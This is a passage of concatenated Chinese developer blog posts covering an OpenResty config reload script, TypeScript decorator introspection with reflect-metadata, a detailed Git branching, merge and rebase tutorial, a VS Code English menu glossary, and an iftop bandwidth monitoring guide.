```bash
/usr/local/openresty/nginx/
├── conf/
│   ├── nginx.conf         ← 主配置文件
│   └── conf.d/
│       └── my_site.conf   ← 推荐自定义配置放这里
```

日后经常操作，可以写个脚本简化：

```bash
docker exec -it 1panel-openresty-xxxx sh -c "/usr/local/openresty/nginx/sbin/nginx -t && /usr/local/openresty/nginx/sbin/nginx -s reload"
```

---

---
url: /posts/lvwpry5h/index.md
---
# 装饰器内省
## 装饰器内省

什么是装饰器内省？说白了就是一个增强版标记系统，让运行时也能获取装饰器信息，不再局限于编译时

**TypeScript 装饰器** 是语言本身支持的语法特性，但 **装饰器内省（introspection）** 是一个更高级的概念，它解决了装饰器本身无法直接完成的任务：**在运行时获取和利用装饰器元数据**。

**装饰器的本质**

**TypeScript 装饰器** 是一种特殊的声明，允许你在类、方法、属性或参数上添加元数据或行为。例如：

```ts
function Log(target: any, propertyKey: string, descriptor: PropertyDescriptor) {
  console.log(`Method ${propertyKey} was called`);
}

class MyClass {
  @Log
  myMethod() {}
}
```

**装饰器的局限性**：装饰器本身只是一个函数，执行后不会自动保存其元数据（如参数、配置）。例如，上面的 `@Log` 装饰器只是打印日志，无法在运行时查询 “哪些方法被 `@Log` 装饰过”。

**装饰器内省**的作用：

**装饰器内省** 指的是 **在运行时动态获取装饰器添加的元数据**，例如：

* 哪些类 / 方法被特定装饰器标记？
* 装饰器的参数是什么？
* 如何基于这些元数据执行额外逻辑（如依赖注入、路由映射、验证）？

**场景**：

**依赖注入（如 NestJS）**：通过装饰器标记类的依赖项，运行时自动解析。

```ts
@Injectable() // 装饰器标记该类可被注入
class MyService {}
```

**路由映射（如 NestJS 控制器）**：通过装饰器定义 API 路径，运行时生成路由表。

```ts
@Controller('users')
class UsersController {
  @Get(':id') // 装饰器定义 HTTP 方法和路径
  findOne(@Param('id') id: string) {}
}
```

**数据验证**：通过装饰器声明字段规则，运行时校验数据。

```ts
class UserDto {
  @IsEmail() // 装饰器定义验证规则
  email: string;
}
```

**实现方式**

TypeScript 本身不直接提供内省能力，但可以通过 **反射 API（Reflect Metadata）** 实现：

**启用反射元数据**（需在 `tsconfig.json` 中配置）：

```json
{
  "experimentalDecorators": true,
  "emitDecoratorMetadata": true
}
```

**安装反射库**:

```bash
npm install reflect-metadata
```

**使用 `Reflect.defineMetadata` 和 `Reflect.getMetadata`**：

```ts
import 'reflect-metadata';

// 自定义装饰器，添加元数据
function Role(role: string) {
  return (target: any, propertyKey: string) => {
    Reflect.defineMetadata('role', role, target, propertyKey);
  };
}

class MyController {
  @Role('admin')
  deleteUser() {}
}

// 内省：在运行时获取元数据
const role = Reflect.getMetadata('role', MyController.prototype, 'deleteUser');
console.log(role); // 输出: 'admin'
```

**常见的内省应用**

* **框架层面**：NestJS、TypeGraphQL 等框架大量使用装饰器内省实现依赖注入、类型映射、路由生成等。
* **工具库**：如 `class-validator` 通过装饰器定义验证规则，运行时校验数据。
* **自定义场景**：你可以基于内省实现 AOP（面向切面编程）、缓存策略等。

**总结**

* **装饰器** 是语法糖，用于标记类 / 方法 / 属性。
* **装饰器内省** 是一种机制，用于在运行时读取和利用这些标记的元数据。
* TypeScript 装饰器本身不包含内省能力，需要配合反射 API 或其他工具实现。

如果没有内省机制，装饰器的作用仅限于执行副作用（如打印日志），无法实现更高级的功能（如依赖注入、自动路由）。

**理解**

1. **TypeScript 装饰器** 就像给代码 “贴标签”，但这些标签在编译成 JavaScript 后就会消失（被执行或忽略），无法在运行时知道 “哪里贴了标签”。
2. **装饰器内省** 就是给这些 “标签” 额外创建一个 “账本”，专门记录 “哪个类 / 方法 / 属性被贴了什么标签”，并且这个账本会保留到运行时。
3. **举个例子**：
   * 装饰器就像酒店房间门上的 “请勿打扰” 挂牌，客人挂上后（编译时执行装饰器函数），服务员看到牌子（执行装饰器逻辑）就知道该怎么做，但客人退房后（编译完成），牌子会被收走（装饰器消失），无法知道 “这个房间曾经挂过牌子”。
   * 装饰器内省就像酒店前台的登记簿，记录了 “302 房间在 10:00 挂了请勿打扰牌”，即使牌子被收走，前台依然能查询到记录（运行时获取元数据）。

**关键点**：

* **装饰器** 是编译时的语法糖，执行后不会保留自身信息。
* **装饰器内省** 通过 **元数据（metadata）** 机制，在运行时保留装饰器的 “痕迹”，从而实现：
  * 查询哪些代码被哪些装饰器标记过。
  * 获取装饰器的参数（如 `@Role('admin')` 中的 `'admin'`）。
  * 基于这些信息执行动态逻辑（如权限校验、自动路由）。

**为什么这很重要？**

没有内省机制，装饰器只能做简单的 “即时操作”（如日志、性能监控），而无法实现复杂的框架级功能（如依赖注入、ORM、API 文档生成）。内省让装饰器从 “一次性贴纸” 变成了 “可追溯的元数据”，大大扩展了其价值。

---

---
url: /posts/lzcn917s/index.md
---
## 初始化 Git

```bash
mkdir react-demo
cd react-demo
```

```bash
npm create vite@latest
```

```bash
git init
```

此时 Git 会默认创建一个分支（一般是 `master`，但是取决于你的 Git 版本和配置）

设置初始分支（推荐强制 main），现在主流远程仓库默认分支都是 **main**

**把当前分支改成 main（推荐）**

```bash
git branch -M main
```

**解释**：如果当前分支是 master → 改成 main，如果当前分支已经是 main → 不影响，`-M` 代表强制重命名。

```bash
git add .
git commit -m "init project"
```

如果你这里报错 `user.name/user.email` 没配置，就按下面做：

```bash
git config --global user.name "你的名字"
git config --global user.email "你的邮箱"
```

在 GitHub / Gitee / GitLab 创建远程仓库，建议仓库创建时**不要勾选**初始化 README / LICENSE / .gitignore（否则远程会有一个 commit，你推送的时候会冲突，要先 pull/rebase）

你要创建的是一个 **空仓库**（Empty repository）

创建完仓库后，它会给你一个地址，一般是：

* HTTPS：`https://github.com/xxx/xxx.git`
* SSH：`git@github.com:xxx/xxx.git`

设置远程地址（origin），把下面 URL 换成你仓库的：

```bash
git remote add origin <仓库地址>
```

例如：

```bash
# github
git remote add origin https://github.com/yourname/react-demo.git
# gitee
git remote add origin https://gitee.com/yourname/react-demo.git
# gitlab
git remote add origin https://gitlab.com/yourname/react-demo.git
```

推送到远程仓库（首次推送要加 -u），第一次推送 main 分支

```bash
git push -u origin main
```

`-u` 的作用：以后你只需要 `git push`，Git 会记住默认推送到 `origin/main`

```bash
# 查看远程仓库信息
git remote -v
# 查看当前分支
git branch
# 查看提交记录
git log --oneline
```

## Git 重设远程地址

```bash
git remote -v
```

重新设置远程地址，直接把 origin 改成正确的地址

```bash
git remote set-url origin <新的仓库地址>
```

或者直接删掉再加：

```bash
git remote remove origin
git remote add origin <新的仓库地址>
```

## 删除某些Git提交记录，但是保存本地更改

**仅删除 Git 提交记录**（但保留所有本地文件修改），比如**删除 `8f2c3b570` 之前的所有提交记录**，**保留所有文件修改**（工作区内容不变），**生成一个新的初始提交**（包含当前所有代码）。

**步骤**：

重置到目标提交（保留文件修改）

```bash
git reset --soft 8f2c3b570  # 回退到该提交，但保留所有文件改动
```

重新提交所有文件（作为新起点）

```bash
git add .                   # 添加所有修改
git commit -m "Initial commit (after reset)"
```

强制推送到远程（如需）

```bash
git push --force origin <分支名>  # 谨慎操作！确保团队知晓
```

效果验证

执行 `git log`：只会看到新提交 `"Initial commit (after reset)"`

## 查看旧版本代码

不会破坏当前代码

```bash
git checkout a1f904183b1b6d09d0f163a68e92faf105710ae2
```

这样你会进入 **detached HEAD 状态**，即“游离状态”。

代码会回到那个 commit，你可以随意查看、运行。

此时你不是在任何分支上。

查看完后，如果想回到之前的分支：

```bash
git checkout main
```

或者 `master`，取决于你的分支名字

## 版本回退

如果你确认要让分支历史回到那个 commit，有两种方式：

### 保留之后的提交（安全）

```bash
git revert a1f904183b1b6d09d0f163a68e92faf105710ae2..HEAD
```

会逐个生成新的反向提交，等效于撤销从那时到现在的修改。

提交历史仍然保留，不会丢数据。

### 彻底回到那个版本（危险）

```bash
git reset --hard a1f904183b1b6d09d0f163a68e92faf105710ae2
```

强制把当前分支指针移到那个 commit，之后的提交会 **全部丢弃**。

如果已经推送到远程，还需要：

```bash
git push origin main --force
```

回退两个提交

```bash
git reset --hard HEAD~2
```

`--soft`：仅撤销提交记录，修改的文件会保留在「暂存区」（`git status` 能看到文件处于 staged 状态）。

## 基于当前 HEAD 新建分支

```bash
git switch -c <name>
```

切换分支

```bash
git switch <name>
```

推送分支

```bash
git push -u origin <name>
```

## 分支重命名

重命名当前所在分支

```bash
git branch -m <name>
```

重命名指定分支（不在那个分支上）

```bash
git branch -m <oldName> <newName>
```

如果这个分支已经推到远端了（比如 origin）

本地改名后，远端也得跟着处理一下：

```bash
# 本地改名
git branch -m <oldName> <newName>

# 推送新分支名到远端，并建立跟踪
git push -u origin <newName>

# 3) 删除远端旧分支名
git push origin --delete <oldName>
```

（可选）让本地“上游跟踪”更干净：

```bash
git branch --unset-upstream
git branch -u origin/新名字
```

> **upstream 是啥？**
>
> 当你在某个分支上直接执行：`git pull`，`git push` 不带参数时，Git 需要知道你默认要拉/推到哪个远端分支。这个“默认目标”就是 **upstream（上游）**。
>
> 可以用下面看出来：
>
> ```bash
> git branch -vv
> ```
>
> 会看到类似：`feature-x  abc123 [origin/feature-x] ...` 中括号里就是 upstream。
>
> `git branch --unset-upstream` 用于**取消当前分支的 upstream 绑定**。
>
> 场景：你把分支改名了，但 upstream 还指向旧的远端分支名，比如仍然是 `origin/旧名字`，这会导致：
>
> `git push` 可能提示 upstream 不对，或者 push/pull 的默认目标不符合你现在的分支名
>
> `git branch -u origin/<newName>` 给当前分支重新设置 upstream，让它默认跟踪，远端：`origin`，分支：`<newName>`
>
> 设完之后你就可以在这个分支上直接：`git push`，`git pull`，不需要每次写 `git push origin 新名字`。

## 开启仓库级大小写敏感

```bash
git config core.ignorecase false
```

然后为了让 Git 正确认出大小写变化，你需要再提交一次文件名更改。

比如你想把：

```svelte
loading.svelte
```

改成：

```svelte
Loading.svelte
```

你要这样操作：

```bash
git mv loading.svelte temp.svelte
git mv temp.svelte Loading.svelte
git commit -m "Fix filename case"
```

这样 Git 就会记录大小写差异。

必须通过 `git mv` 触发 Git 记录文件名变更，否则 Git 仍然认为这是同一个文件 → 不提交。

**临时告诉 Git 检查大小写变化**

如果你不想重命名两次，可以用：

```bash
git mv -f loading.svelte Loading.svelte
git commit -m "Fix case"
```

`-f`（force）可以强制重命名，即使文件名只有大小写不同。

Windows 文件系统（NTFS）本身不区分大小写

即使你在 Git 开启大小写敏感，**你的系统仍然不敏感**。

但 Git 可以在内部记录大小写变化，不影响最终推送到 Vercel（Linux）。

## 关闭 TypeScript 的 `noUnusedLocals / noUnusedParameters`

避免 `tsc -b` 因为 **未使用的 import / 变量 / 参数** 报 `TS6133` 并导致构建失败（尤其是 CI）。

`tsconfig.json`：

```json
{
  "compilerOptions": {
    "noUnusedLocals": false,
    "noUnusedParameters": false
  }
}
```

**优点**：简单粗暴，一步到位

**缺点**：开发阶段也不再检查 unused（但可以交给 ESLint 管）

只在 build 阶段关闭（开发仍严格）

新建 `tsconfig.build.json`：

```json
{
  "extends": "./tsconfig.json",
  "compilerOptions": {
    "noUnusedLocals": false,
    "noUnusedParameters": false
  }
}
```

修改 `package.json` 的 build：

```bash
"build": "tsc -p tsconfig.build.json && vite build"
```

优点：

* 本地开发继续严格提示 unused
* 部署/构建不因为 unused 挂掉（更工程化）

## 新分支开发+合并

**项目里从主分支开新分支 → 开发 → 合并回主分支**

假设主分支叫 `main`，你要做一个功能 `feature/login`：

从主分支拉最新，然后开新分支

```bash
git checkout main
git pull
git checkout -b feature/login
```

在新分支开发（会产生多条提交）

```
git add .
git commit -m "feat: add login form"
# ...继续开发
git commit -m "fix: handle empty password"
```

开发完成：合并回 main（合并前先让 main 最新）

核心点：**合并时“不是挑某一条提交”**，而是把你这个分支里“相对 main 新增的所有提交/变更”合并进去。

合并步骤通常是：

```apl
git checkout main
git pull
git merge feature/login
git push
```

::: info

如果 merge  后，想马上撤回，并且还没 push

直接在 `main` 上：

```bash
git checkout main
git reset --hard ORIG_HEAD
```

`ORIG_HEAD` 通常就是**合并前 main 的位置**，这条命令会把 main 直接回到 merge 之前的样子。

`--hard` 会丢掉工作区/暂存区里未提交的改动（如果你合并后又改了文件但没提交，这些会没）。

想先确认一下会回到哪里：

```bash
git log --oneline --decorate -5
```

如果你已经 push 到远端了（不要用 reset 强推，除非你确定没人拉过）

这种情况下推荐用“反做一次合并”（revert merge），更安全：

先找到那次 merge 的提交 hash

```bash
git checkout main
git log --oneline --decorate --graph -10
```

会看到类似：`commit xxxx (HEAD -> main) Merge branch 'feature/home-view'`  ，记下那个 `xxxx`。

反向撤销这个 merge（保留 main 这边作为主线）

```bash
git revert -m 1 xxxx
```

然后再：

```bash
git push
```

这会生成一个新的提交，用来“撤销合并带来的改动”，历史不会乱，别人也好同步。

:::

**开发分支中有多条记录，合并时的选择**：

**默认合并**：合并的是“分支上新增的一切”

Git 会计算：`feature/login` 相对于 `main` 多了哪些提交（或者说多了哪些改动），然后把这些改动合进来。

**方式 1：普通 merge**（保留所有提交）

**优点**：信息完整，最直观

**缺点**：主分支提交历史可能很多、比较碎

```bash
git checkout main
git merge feature/login
```

**方式 2：Squash 合并**（把多条提交压成一条）

**含义**：你分支里可能 10 个 commit，合到 main 变成 **1 个 commit**

**优点**：主分支历史干净

**缺点**：主分支上看不到你分支内部每一步的细碎提交（但分支本身还在的话仍能看到）

```bash
git checkout main
git merge --squash feature/login
git commit -m "feat: login feature"
```

很多团队会在 PR / MR 上做 “Squash and merge”。

**方式 3：Rebase**（整理提交，再合并）

用于：你想在合并前，把分支提交“改写得更漂亮”（合并前整理提交顺序、合并一些小提交等）

注意：**会改写历史**，如果分支已被多人共享要小心

**如果“开发完要合并时，主分支已经更新了”（main 有新提交）怎么办？**

**路线 A**（最常用、最稳）：在你的功能分支上把 main 合进来

思路：让 `feature/login` 先吸收 `main` 的最新变化，再合回 `main`。

```bash
git checkout feature/login
git fetch
git merge origin/main
# 解决冲突（如果有）
git checkout main
git pull
git merge feature/login
```

特点：

不改写历史（安全）

历史里会多一个“merge main into feature”的合并提交

**路线 B**（更干净的历史）：rebase 到最新 main 上

思路：把你的功能分支“挪到”最新 main 后面，让你的提交看起来像是基于最新 main 开发的。

```bash
git checkout feature/login
git fetch
git rebase origin/main
# 解决冲突（如果有），然后继续 rebase
# git rebase --continue
```

然后再合并：

```bash
git checkout main
git pull
git merge feature/login
```

特点：

* 历史线性、干净
* 会改写 `feature/login` 的提交 hash（如果你已经 push 且别人基于你的分支开发，会麻烦）

如果你 rebase 过、并且这个分支你已经 push 到远端了，通常需要：

```
git push --force-with-lease
```

（`--force-with-lease` 比 `--force` 更安全）

**会不会冲突，取决于“你和主分支是否改了同一块内容”。**

常见冲突场景

* 你改了 `app/config.json`，主分支也改了同几行
* 你和别人都改了同一个函数、同一个文件同一段
* 你删了一个文件，别人改了它

不冲突的常见情况

* 你改 A 文件，主分支改 B 文件
* 同一文件但不同区域（Git 通常能自动合并）

当你 merge / rebase 时出现 conflict，Git 会提示哪些文件冲突了。

看状态  `git status`，打开冲突文件，会看到这种标记

```bash
<<<<<<< HEAD
主分支内容
=======
你的分支内容
>>>>>>> feature/login
```

你要做的是：**决定保留哪边，或手动融合**，然后删掉这些标记。

***

**场景**

你开始开发时：

```bash
A---B   (main)
     \
      C---D   (你的 feature)
```

后来同事先完成并合进 main（main 多了 E、F）：

```bash
A---B---E---F   (main)
     \
      C---D     (你的 feature)
```

此时你的分支还是从 B 那里分出来的。

你在自己的分支上执行：

```bash
git checkout feature
git rebase main
```

Git 做的是：

1. 先找出你分支“比 main 多出来的提交”——这里是 `C、D`
2. 把 `C、D` 暂时“摘下来”
3. 让你的分支指针先移动到最新 main（到 F）
4. 再把 `C、D` **一个一个重新应用**到 F 后面

结果变成：

```bash
A---B---E---F---C'---D'   (你的 feature)
            (main)
```

注意：`C' D'` 不是原来的 `C D`，而是**重新生成的提交**（hash 会变）。

rebase 的效果通常就是让历史看起来像一条直线：

* **rebase：线性（A-B-E-F-C'-D'）**
* **merge main into feature：会出现一个合并节点（历史会分叉再汇合）**

`git rebase main` 默认是：**保留你分支里的每一条提交**（只是换了“基底”，并且提交被重写成 C'、D'）。

所以如果你原来有 10 个 commit，rebase 后还是 10 个 commit（只是 hash 变了）。

***

rebase 的冲突的本质跟 merge 一样，只要你和同事（main 上的 E/F）改到了**同一段内容**，就可能冲突。

区别只在于：

* `merge main`：冲突发生在“合并那一下”
* `rebase main`：冲突发生在“重放你的每一个提交（C、D……）”的过程中

rebase 是把你的提交 **一个一个重新应用**到新地基上：

* 应用 C 时可能冲突一次
* 解决完继续
* 应用 D 时可能又冲突一次

所以你会感觉它更“碎”，但也有好处：你能更精准地知道是**哪一个提交**引入了冲突。

rebase 只是“更新你的开发分支”（让它基于最新 main）

rebase 的结果是：

* 你的 `feature` 分支变成基于最新 main 的一串提交（线性）
* **main 分支本身完全没变**

也就是说，rebase 并没有把你的代码“放进 main”。

你最终还是要做一次“把 feature 合进 main”的动作（通常是 merge / PR / MR）：

```bash
git checkout main
git pull
git merge feature   # 这一步通常会非常顺滑，甚至 fast-forward
git push
```

rebase 后合并通常更简单，因为你已经把 main 的 E/F 吸收进来了，冲突大概率已经在 rebase 时解决过了。

**总结**：

* rebase = **把你分支上“独有的提交”搬到新的 base 上**
* main 的提交（E/F）不动，它们已经在那儿
* rebase 过程中可能冲突，你要当场解决
* rebase 完以后，你的 feature 只是“更干净、更接近能合并的状态”，但还没进 main

**最实用的 rebase 冲突处理流程**

```bash
git checkout feature
git fetch
git rebase origin/main
# 如果冲突：
# 1) 手动改文件
# 2) git add 冲突文件
git rebase --continue
# 重复直到结束
```

想取消：

```bash
git rebase --abort
```

***

两种做法的目标都是：**让你的功能分支包含 main 的最新变化**，这样最后合回 main 更顺。

**merge main into feature**：通过“合并”把两条历史接起来（会产生一个 merge commit，除非 fast-forward 这种特殊情况）

**rebase feature onto main**：把你的提交从旧基底“搬到”新基底上（重写提交，不新增 merge commit）

**路线 A**：merge main → feature，然后 feature → main

* 第一次：`feature` 吸收 `main`（`merge origin/main`），通常会产生一个 **merge commit**（记录“我吸收了 main”）
* 第二次：`main` 合并 `feature`（`merge feature`），也可能产生 merge commit（取决于合并策略和历史形状）

不过要注意：第二次合并到 main 时，有时可能是 **fast-forward**（不会新产生 merge commit），但很多团队会强制产生 merge commit（PR merge commit 模式）。

**rebase 不会产生“merge commit”**（没有那个“合并节点”），但它**不是“不会产生新记录”**，而是：

* 它会把你的提交 `C D` 重放成 `C' D'`
* 所以**会产生新的提交对象（新 hash）**
* 只是这些提交看起来还是你原来那几条提交（数量一样、内容相近），不像 merge 那样多出一个“合并提交”

所以更准确的表述是：

**rebase 不新增 merge commit，但会重写你分支上的提交。**

**对比**：历史长什么样

假设 main 上同事有 E/F，你有 C/D。

**merge main into feature（会出现“吸收 main”的记录）**

```bash
A---B---E---F (main)
 \         \
  C---D-----M (feature)  # M 是 merge commit：把 main 合进 feature
```

**rebase（没有 merge commit，但你的提交被“重写”）**

```bash
A---B---E---F---C'---D' (feature)
            ^
           (main)
```

最后合回 main：

* merge 路线：main 合 feature，可能又多一个 merge commit（看策略）
* rebase 路线：通常可以 fast-forward 或者合并很干净

**总结**：**merge 是“保留真实发生过的分叉与汇合”，rebase 是“把自己的提交搬到最新主干上，让历史看起来像一直在主干上开发”**。

***

这个情况 **通常不会产生 merge commit**，主分支会直接变成 `A-B-C-D-E-F`——这叫 **fast-forward（快进）合并**。

**场景**

* 主分支是：`A---B---C---D`（main）
* 你的分支是：`A---B---C---D---E---F`（feature）

也就是说：**feature 完全是沿着 main 往前走的，没有分叉**（main 没有你没有的提交）

这时你在 main 上做：

```
git checkout main
git merge feature
```

Git 会发现：main 只是 feature 的祖先，合并不需要“创造一个新节点来汇合两条线”，于是直接把 main 指针“快进”到 F：

```
A---B---C---D---E---F   (main, feature)
```

所以 **没有 merge commit**。

什么时候会有 merge commit？

只要出现过“分叉”——比如：

* main 有你没有的提交（同事先合进 main）
* 或者你在 feature 上 merge 过 main（产生了那个 M）
* 或者仓库设置/团队策略强制 `--no-ff`

那 Git 就不能简单快进了，往往会生成 merge commit。

**实用的补充**

有些团队会在合并时强制保留分支痕迹：

```bash
git merge --no-ff feature
```

即使能 fast-forward，也会强制生成一个 merge commit。

***

很多时候 **rebase 后再把 feature 合回 main**，确实很容易变成 **fast-forward**。但有一个关键前提 + 两个常见例外

当你在 `feature` 上 `rebase main` 之后，历史通常变成：

```bash
A---B---E---F   (main)
            \
             C'---D'   (feature)
```

如果这段时间 **main 没再前进**（还是停在 F），那你合并：

```bash
git checkout main
git merge feature
```

就只是把 main 指针从 F “快进”到 D'：

```bash
A---B---E---F---C'---D'   (main, feature)
```

没有 merge commit，也就是 fast-forward。

冲突往往会在 rebase 重放提交时解决掉，最后合回 main 会更顺。

**例外 1**：rebase 完之后，main 又有新提交了

你 rebase 的时候 main 在 F，结果你还没合并，main 又变成 G/H 了：

```bash
A---B---E---F---G---H   (main)
            \
             C'---D'   (feature)
```

这时合并就**不能 fast-forward**（main 不是 feature 的祖先），你得：

* 要么再 rebase 一次到最新 main（H）
* 要么 merge（可能产生 merge commit）

**例外 2**：团队/平台强制“不要 fast-forward”

比如：

* 命令行用了 `git merge --no-ff`
* GitHub/GitLab 设置为“总是创建 merge commit”
* 或者你们的合并按钮选的是 “Create a merge commit”

那即使可以 FF，也会强行生成一个 merge commit。

**总结**：**rebase 让你的 feature 看起来像 main 的“直接后续”，所以只要 main 没再动、且不强制 no-ff，合并就基本是 fast-forward。**

***

**rebase + squash**

**rebase**：让你的分支基于最新 `main`（提前解决冲突、减少合并时翻车）

**squash 合并**：把你分支上一堆零碎提交压成 **1 条**进入主分支（主分支历史干净）

```bash
git checkout feature/login
git fetch
git rebase origin/main
```

如果有冲突：解决 → `git add` → `git rebase --continue`

```bash
git checkout main
git pull
git merge --squash feature/login
git commit -m "feat: login"
git push
```

这样主分支只会多 1 条提交（你的“最终成果”），不会出现你那堆 `wip/fix/try again`。

rebase + squash 的关系

* **rebase**：不减少提交数量（默认），只是让提交“搬家”、历史线性、冲突更早解决
* **squash**：把这些提交“压扁”成 1 条进入 main

---

---
url: /posts/md7opol6/index.md
---
# VsCode 适应英文环境
将 VS Code 切换成英文是提升英语阅读能力和进入国际开发圈的必经之路

## 右键菜单

| 英文原文                 | 中文翻译               | 实际用途（你会非常常用）                                |
| ------------------------ | ---------------------- | ------------------------------------------------------- |
| Go to Definition         | 跳转到定义             | 最常用！点变量/函数直接跳到它被定义的地方（F12） |
| Go to Type Definition    | 跳转到类型定义         | TypeScript 常用，跳到接口/类型的定义             |
| Go to Source Definition  | 跳转到源码定义         | 很少用，针对某些特殊语言服务器                          |
| Go to Implementations    | 跳转到实现             | 接口 → 实现类，很常用（Ctrl+F12）                       |
| Go to References         | 查找所有引用           | 重构前必看，这个符号被哪些地方用过（Shift+F12）         |
| Peek                     | 内联预览               | 不跳转，直接在当前文件弹小窗口看定义/引用（Alt+F12）    |
| Find All References      | 查找所有引用（侧边栏） | 比 Peek 更彻底，会列出所有引用位置               |
| Find All Implementations | 查找所有实现           | 接口被哪些类实现了                               |
| Show Call Hierarchy      | 显示调用层次           | 看函数被谁调用、调用了谁（非常强大）             |
| Add File to Chat         | 把当前文件加入 AI 聊天 | 和 GitHub Copilot Chat / Cursor 等 AI 用的              |
| Open Inline Chat         | 打开内联聊天           | 光标所在行直接问 AI                                     |
| Explain                  | 解释这段代码           | AI 功能，让 Copilot 解释选中代码                        |
| Generate Code            | 生成代码               | AI 代码补全相关                                         |
| Rename Symbol            | 重命名符号             | 重构神器！改变量名/函数名所有地方一起改（F2）    |
| Change All Occurrences   | 改所有相同文本         | 纯文本替换，不是智能重命名（Ctrl+F2）                   |
| Format Document          | 格式化整个文件         | 自动整理代码格式（Shift+Alt+F）                         |
| Format Document With...  | 用其他格式化工具格式化 | 可以选择 Prettier、clang-format 等                      |
| Refactor...              | 重构...                | 最重要！点开有一堆重构选项（Ctrl+Shift+R）              |
| Source Action...         | 源码操作...            | 灯泡快捷入口，比如提取函数、导入缺失模块等              |
| Cut / Copy / Paste       | 剪切/复制/粘贴         | 基础操作                                                |
| Jest: Run Related Tests  | Jest: 运行相关测试     | Jest 测试插件功能                                       |
| Command Palette...       | 命令面板               | 神级功能！所有命令都能搜（Ctrl+Shift+P）                |

## 常用单词

按使用频率排序，强烈建议记下来：

| 英文               | 中文                   | 场景                               |
| ------------------ | ---------------------- | ---------------------------------- |
| Definition         | 定义                   | Go to Definition                   |
| References         | 引用                   | Find All References                |
| Implementation     | 实现                   | 接口的实现类                       |
| Refactor           | 重构                   | 最常用菜单                         |
| Rename             | 重命名                 | Rename Symbol (F2)                 |
| Peek               | 内联预览               | 快速看定义不跳转                   |
| Format             | 格式化                 | Format Document                    |
| Source Action      | 源码操作               | 灯泡菜单（快速修复）               |
| Command Palette    | 命令面板               | Ctrl+Shift+P                       |
| Terminal           | 终端                   | 内置终端                           |
| Debug              | 调试                   | 启动调试                           |
| Breakpoint         | 断点                   | 打断点                             |
| Workspace          | 工作区                 | 多文件夹项目                       |
| Extension          | 扩展/插件              | 安装插件的地方                     |
| Settings           | 设置                   | Preferences → Settings             |
| Snippet            | 代码片段               | 用户自定义代码片段                 |
| Emmet              | Emmet 缩写             | HTML/CSS 快速编写                  |
| IntelliSense       | 智能提示               | 代码补全                           |
| Hover              | 悬停                   | 鼠标悬停显示类型/文档              |
| Outline            | 大纲                   | 左侧文件结构树                     |
| Breadcrumbs        | 面包屑导航             | 文件路径导航条                     |
| Sidebar            | 侧边栏                 | 资源管理器、搜索、Git 等           |
| Status Bar         | 状态栏                 | 底部状态栏                         |
| Problems           | 问题面板               | 错误警告列表                       |
| Output             | 输出面板               | 各种日志输出                       |
| Run and Debug      | 运行与调试             | 左侧调试图标                       |
| Source Control     | 源代码管理             | Git 面板                           |
| Explorer           | 资源管理器             | 文件树                             |
| Toggle             | 切换                   | Toggle Terminal、Toggle Sidebar 等 |
| Reveal in Explorer | 在文件资源管理器中显示 | 右键文件快速打开文件夹位置         |

---

---
url: /posts/mlocd07i/index.md
---
## 介绍

`iftop` 是一个 **实时网络流量监控工具**，功能类似于 `top`，但它关注的是**网络带宽的使用情况**。

* **top**：显示 CPU / 内存 的实时使用情况
* **iftop**：显示 网络连接 的实时流量情况（谁在和谁通信，速度多快）

通过 `iftop`，你可以：

* 实时查看当前主机的 **上行 / 下行带宽**；
* 知道 **哪些 IP / 域名占用了带宽**；
* 分析 **流量方向（发送 / 接收）**；
* 临时排查网络异常、DDoS 攻击、带宽瓶颈等问题。

## 安装方式

### Debian / Ubuntu

```bash
sudo apt update
sudo apt install iftop -y
```

### CentOS / RHEL

```bash
sudo yum install epel-release -y
sudo yum install iftop -y
```

### Fedora

```bash
sudo dnf install iftop -y
```

### macOS

```bash
brew install iftop
```

## 基本使用

`iftop` 必须以 **root 权限运行**（因为需要访问网络接口数据包）：

```bash
sudo iftop
```

默认监控系统的第一个网卡接口（例如 `eth0`、`ens33`、`enp0s3` 等）。

## 指定网卡接口

如果机器有多个网络接口，需要指定监控哪个：

```bash
sudo iftop -i eth0
```

可用命令查看网卡：

```bash
ip link show
```

## 界面详解（理解输出）

运行后会看到类似这样的界面：

```ts
             1.29Mb          2.58Mb          3.87Mb
┌───────────────────────────────────────────────────────────────┐
 192.168.1.10 => 8.8.8.8          120Kb   180Kb   250Kb
            <=                     80Kb   120Kb   200Kb
 192.168.1.10 => 192.168.1.1      500b    1Kb     1Kb
            <=                     300b    900b   900b
───────────────────────────────────────────────────────────────
TX: 200Kb RX: 150Kb  TOTAL: 350Kb
```

**说明**：

* **左列**：本机与外部主机的连接（上行/下行方向）
* **=>**：发送（TX，上行）
* **<=**：接收（RX，下行）
* **右侧三列数值**：
  * **第一列**：最近 2 秒内的平均流量
  * **第二列**：最近 10 秒内的平均流量
  * **第三列**：最近 40 秒内的平均流量
* **TX / RX / TOTAL**：底部总计行，显示整体的发送、接收和总流量。

## 界面详解（逐行版）

```markdown
                                   191Mb                              381Mb                               572Mb                              763Mb                          954Mb
└──────────────────────────────────┴──────────────────────────────────┴───────────────────────────────────┴──────────────────────────────────┴───────────────────────────────────

```

**第一行：带宽刻度（Scale Bar）**

* 这行最上方的数字是 **带宽刻度（scale）**，代表每个刻度的带宽范围。
* 单位是 **bit/s**（或 byte/s，取决于是否使用 `-B` 参数）。
* 这些数字不是当前速率，而是用来“标尺化”右侧图形条（如果启用了条形显示）。

例如：

```bash
191Mb 381Mb 572Mb 763Mb 954Mb
```

表示图形最右边代表约 954Mb/s 的带宽。

如果某条连接的条形到达这一端，就意味着接近 954Mb/s。

**每一组两行：一条连接（Connection）**

**第一行（上行流量）**

```
d25ca73b896e => XiaoQiang
```

* 左边的 **d25ca73b896e**：本机标识（可能是主机名或容器名）；
* 箭头 `=>` 表示**从本机发出（发送 / TX）**；
* 右边的 **XiaoQiang**：目标主机（可能是局域网中的另一台机器）。

右侧数值：

```
0b   1.30Kb  1.31Kb
```

三列分别代表：

| 列    | 含义                   | 时间窗口     |
| ----- | ---------------------- | ------------ |
| 第1列 | 最近 2 秒内的平均速率  | 短期瞬时流量 |
| 第2列 | 最近 10 秒内的平均速率 | 中期趋势     |
| 第3列 | 最近 40 秒内的平均速率 | 长期趋势     |

单位是 bit/s 或 byte/s。

例如：1.31Kb 表示平均上行速率为约 1.31 千比特/秒。

**第二行（下行流量）**

```
<=                                                                                0b   1.49Kb  1.49Kb
```

* 箭头 `<=` 表示 **接收流量（RX）**；
* 数字格式相同，表示从对方主机 **收到的数据速率**。

这里代表：

* 从 XiaoQiang 收到的流量：平均 1.49 Kb/s。

**第二个连接**

* 本机（`d25ca73b896e`）与远程主机（`WIN-JQ5SQ9A99OM`）之间通信。
